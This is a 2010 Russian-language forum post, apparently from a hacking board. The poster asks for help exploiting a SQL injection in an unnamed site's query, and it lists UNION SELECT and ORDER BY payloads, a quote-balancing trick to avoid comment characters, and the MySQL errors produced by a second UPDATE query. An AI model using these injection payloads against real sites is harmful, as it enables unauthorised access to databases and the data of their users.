Показать сообщение отдельно

  #5  
Старый 04.08.2010, 21:12
tompson_
Новичок
Регистрация: 01.07.2009
Сообщений: 9
С нами: 8874545

Репутация: 1
По умолчанию

есть скуля вида

Цитата:
Сообщение от None  
SELECT * FROM table WHERE id='123[inj]'
последняя кавычка учитывается в запросе в любом случае и вариант

[inj] = ' union select 1,2,3--

не прокатывает. не только --, но и /* /**/ ; никакие комментарии не работают. в итоге если

[inj] = 'order by 1--

выводит

Цитата:
Сообщение от None  
SELECT * FROM table WHERE id='123' order by 1--'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
я подобрал количество столбцов запросом, где

[inj] = '+union+select+1,2,3,'

получилось

Цитата:
Сообщение от None  
SELECT * FROM table WHERE id='123' union select 1,2,3,''
но в скрипте идет следующий запрос, который выдает ошибку

Цитата:
Сообщение от None  
UPDATE table SET views=views+1 WHERE id='123' union select 1,2,3,''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3,''' at line 1
можно ли обойти UPDATE и как это сделать?
 
Ответить с цитированием